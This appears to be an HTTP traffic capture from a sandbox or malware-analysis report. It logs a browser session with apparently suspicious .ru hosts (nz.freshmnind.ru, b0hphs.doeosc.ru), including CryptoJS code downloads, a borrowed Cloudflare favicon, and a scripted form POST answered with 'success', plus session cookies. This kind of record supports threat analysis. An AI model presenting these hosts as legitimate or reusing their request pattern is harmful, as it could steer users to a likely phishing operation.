i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<1
2025-03-25 17:08:03 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2025-03-25 17:08:03 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2025-03-25 17:08:03 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2025-03-25 17:08:03 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:05 UTC	637	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://nz.freshmnind.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:05 UTC	740	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:05 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=9dT_IwLxd6FqkEOhe.NJUoQa56klw5y39hALgdrl3Lg-1742922485-1.0.1.1-.0ylvWsC4Uwn0x9tfesccvU5H7E7nGfvZ0HsRXaggzbnzHKo_DUUX4Qnc3nbagu664op9nFD43QuXRrNc378LD.BP80S6XswAou9eYnyIi8; path=/; expires=Tue, 25-Mar-25 17:38:05 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 9260021cbc558cbd-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 17:08:05 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-25 17:08:05 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:05 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=9dT_IwLxd6FqkEOhe.NJUoQa56klw5y39hALgdrl3Lg-1742922485-1.0.1.1-.0ylvWsC4Uwn0x9tfesccvU5H7E7nGfvZ0HsRXaggzbnzHKo_DUUX4Qnc3nbagu664op9nFD43QuXRrNc378LD.BP80S6XswAou9eYnyIi8
2025-03-25 17:08:06 UTC	435	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:06 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 92600221eace42f1-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 17:08:06 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-25 17:08:06 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:13 UTC	564	OUT	GET /ando!8ygo40 HTTP/1.1 Host: b0hphs.doeosc.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://nz.freshmnind.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nz.freshmnind.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:14 UTC	828	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k82tLpflMvMQ4YWE%2FRuoYMOTetLA%2BBv5JVBQG8XecnvaaYqrZPy7NfzdZaoD5z0Kdt%2BFoStwyo8ZEScNfd%2BuCeLdvc58ad%2Fv50j3p3qvcVOHxrVvoG8sT%2FufWnouSdlHFaDl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 926002516fd0b9c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105545&min_rtt=105051&rtt_var=22903&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2815&recv_bytes=1136&delivery_rate=34967&cwnd=238&unsent_bytes=0&cid=1a073761359e3b13&ts=850&x=0"
2025-03-25 17:08:14 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-25 17:08:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:14 UTC	1431	OUT	POST /qr8iA8xuH5u4Qduqk2y9GGJKeVfpXPDCfu HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV8TP8cb5xwtHBVI4 sec-ch-ua-mobile: ?0 Accept: / Origin: https://nz.freshmnind.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nz.freshmnind.ru/E9nFcFhuAwW2u/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJTb3lOTGc1Y3JSMCt0dEVPbTdJL2c9PSIsInZhbHVlIjoiTDlUL2hGaXZKWFpTQ2hDZkIzZWRwWHJyYkJZUEVXYmZmT0N3SWtnZG9MaGpMbU0yZ0FFSGZtOFp0Y0NKckhMZDhnQmJOQjNQYVlRSlpwNUMzbGJwNnFyQ0RxUnkxcW9KajVEdUhuTmJtVUhYaXQ3Qlhib3o4RWdGZ0k3KzFSSGciLCJtYWMiOiJlZDZlNWEyY2FkOWQ3YzgxOTM5MDIxZjNiOWE1YjU1MWEwZThhOWJhZjg4MjJjNTgwM2IwOTMyNmZkYzM4ODNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRobXBPcTlNUDlTTC9SdVBoMUFIMmc9PSIsInZhbHVlIjoiM3NUeVFRU01sMnRET0NveExBZ2tPQW5Gd0F6RGhEK0paS3dvYXdzTDE1cHliKytoUDZVMTV3Njk2Z3E2TDdhN1licGU2UCtTQ3FpMDdkSHlicEtZakRXbzRvdWVsM2NoUHI2YjllTVpUMlZrbGtxSFRGTUxnWjV2MVhpYTBMR0YiLCJtYWMiOiI4MTI1ZDQ5NWIwZjU4MzYzYzc1MmMxYjZhMjEwMmUzMDBkYTM0MWIzYjg5ZGNlNmRjMmI1NzQyNjE3ZTViMDdhIiwidGFnIjoiIn0%3D
2025-03-25 17:08:14 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 56 38 54 50 38 63 62 35 78 77 74 48 42 56 49 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 53 32 44 66 43 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 56 38 54 50 38 63 62 35 78 77 74 48 42 56 49 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 69 4b 44 48 36 52 51 69 48 38 4a 77 39 73 31 53 45 48 6c 50 6f 4f 42 30 33 41 6d 55 6c 4d 4b 53 70 30 48 62 62 79 4d 65 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 56 38 54 50 Data Ascii: ------WebKitFormBoundaryV8TP8cb5xwtHBVI4Content-Disposition: form-data; name="bltpg"S2DfC------WebKitFormBoundaryV8TP8cb5xwtHBVI4Content-Disposition: form-data; name="sid"iKDH6RQiH8Jw9s1SEHlPoOB03AmUlMKSp0HbbyMe------WebKitFormBoundaryV8TP
2025-03-25 17:08:14 UTC	1176	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:14 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RAnW9OVwX8Jo3N71ZGI5%2F44JCu6Ba9uexNjEo0DC9DSLlsWnPyRCdT4%2FLO1%2B6U3HZoajxaw2uqm05kpOTI0A1gHKf7n8KNBoczcmMtm22YE%2BXV0PNCKEuXZD%2BnDu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5021&min_rtt=5010&rtt_var=1901&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=3113&delivery_rate=567954&cwnd=251&unsent_bytes=0&cid=b56d0c211df0ee27&ts=87&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ims1dkFhT0NBMjBsT3hqbTZZYjE5MlE9PSIsInZhbHVlIjoiNVMvc1J2aGhVaW85WmVjVEpUZU5hVWpySXVaKzJ5clE1M3Y0aUZxa21RNWwwdmpleFltNHowenphYkNTNFZISjY3VkErNlg4SVJKbjc4YVhDNUhvSjRlY21MZDBNOS9IUkdIUUg5V2NhYnNXTVhFeTY1bE44RWhiWlFDN2VKejgiLCJtYWMiOiJkOWZhMGRmNmRlMmY5NDdiNTA2NmJlNmRmZTMxNTk3ZWJiMmU3OWE3MDc2Y2VlNTQ0ZWZlMzk5ZTllMzUyNjExIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 19:08:14 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 17:08:14 UTC	791	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 6c 75 53 56 51 77 53 7a 5a 30 4f 56 6c 30 62 31 52 42 56 6b 4e 68 4e 47 5a 4b 63 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 6d 39 4f 56 30 46 4c 65 46 46 54 62 6d 5a 44 59 56 6f 79 62 55 74 35 4d 33 59 77 4e 55 6c 31 61 54 59 35 61 30 4e 34 61 6c 55 76 63 6c 42 6e 54 44 4d 77 61 6b 74 56 64 32 4e 45 4e 31 42 4b 64 45 56 69 4f 57 49 7a 64 56 49 30 54 6e 70 42 56 6d 64 4c 56 56 64 77 59 58 51 32 56 56 5a 52 53 31 56 61 63 57 39 6f 51 69 74 61 4b 31 64 5a 59 31 70 52 5a 56 59 77 54 45 35 49 54 45 35 68 65 6b 4e 57 59 32 56 43 56 44 5a 4a 55 45 46 58 4d 33 5a 77 59 31 68 73 55 46 6f 32 4f 57 39 74 52 56 42 76 5a 30 51 33 4e 45 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InluSVQwSzZ0OVl0b1RBVkNhNGZKcWc9PSIsInZhbHVlIjoicm9OV0FLeFFTbmZDYVoybUt5M3YwNUl1aTY5a0N4alUvclBnTDMwaktVd2NEN1BKdEViOWIzdVI0TnpBVmdLVVdwYXQ2VVZRS1VacW9oQitaK1dZY1pRZVYwTE5ITE5hekNWY2VCVDZJUEFXM3ZwY1hsUFo2OW9tRVBvZ0Q3NEE
2025-03-25 17:08:14 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-25 17:08:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:14 UTC	391	OUT	GET /ando!8ygo40 HTTP/1.1 Host: b0hphs.doeosc.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:15 UTC	831	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vg5gu7UUDNxcHZ8IokHYygfjeRNeCYlbX%2F6HEGyn%2FB3HS%2F%2FFOB%2FhgDOmDCc3Nu%2BZhIrdUh2v0VmD64vS9cZ%2B53e3bhymAU1KPZhacrafJ1BWyZYNq%2Bjv9joHPWMeQq8THj3a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92600258da0423ce-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104970&min_rtt=104714&rtt_var=22333&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=963&delivery_rate=35568&cwnd=252&unsent_bytes=0&cid=547930889e339796&ts=832&x=0"
2025-03-25 17:08:15 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-25 17:08:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:15 UTC	1486	OUT	GET /E9nFcFhuAwW2u/ HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://nz.freshmnind.ru/E9nFcFhuAwW2u/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ims1dkFhT0NBMjBsT3hqbTZZYjE5MlE9PSIsInZhbHVlIjoiNVMvc1J2aGhVaW85WmVjVEpUZU5hVWpySXVaKzJ5clE1M3Y0aUZxa21RNWwwdmpleFltNHowenphYkNTNFZISjY3VkErNlg4SVJKbjc4YVhDNUhvSjRlY21MZDBNOS9IUkdIUUg5V2NhYnNXTVhFeTY1bE44RWhiWlFDN2VKejgiLCJtYWMiOiJkOWZhMGRmNmRlMmY5NDdiNTA2NmJlNmRmZTMxNTk3ZWJiMmU3OWE3MDc2Y2VlNTQ0ZWZlMzk5ZTllMzUyNjExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InluSVQwSzZ0OVl0b1RBVkNhNGZKcWc9PSIsInZhbHVlIjoicm9OV0FLeFFTbmZDYVoybUt5M3YwNUl1aTY5a0N4alUvclBnTDMwaktVd2NEN1BKdEViOWIzdVI0TnpBVmdLVVdwYXQ2VVZRS1VacW9oQitaK1dZY1pRZVYwTE5ITE5hekNWY2VCVDZJUEFXM3ZwY1hsUFo2OW9tRVBvZ0Q3NEEiLCJtYWMiOiI3OWIxNDMxMmQ3OGRlZjRhMzY5MTQ5OTBkMDhmMDM0ODg1MGRkNzdmMTI5MzhkMTE1NjQxYjhjMDM2MDAzMzcyIiwidGFnIjoiIn0%3D
2025-03-25 17:08:15 UTC	1202	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gXt64SYtFCeklD2yCd3NYejmYfkeSz3In9iod5IbODexMMY5JxySeyC9%2BN8laWgBfqzsJ69VFRYhyQ5Bhfm1ECFJk4vxXtDxywca7DggHShvWBHT84Zf%2FLPKSUxI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1729&min_rtt=1643&rtt_var=613&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2379&delivery_rate=1436507&cwnd=251&unsent_bytes=0&cid=df176402942d8f6d&ts=112&x=0" Set-Cookie: 